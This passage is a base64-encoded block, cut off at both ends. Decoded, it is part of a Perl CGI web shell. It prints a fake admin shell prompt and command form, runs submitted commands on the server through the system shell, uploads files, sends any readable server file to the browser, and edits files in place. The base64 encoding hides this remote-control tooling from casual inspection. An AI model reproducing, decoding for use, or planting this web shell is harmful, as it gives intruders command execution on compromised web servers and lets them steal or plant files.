NZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJE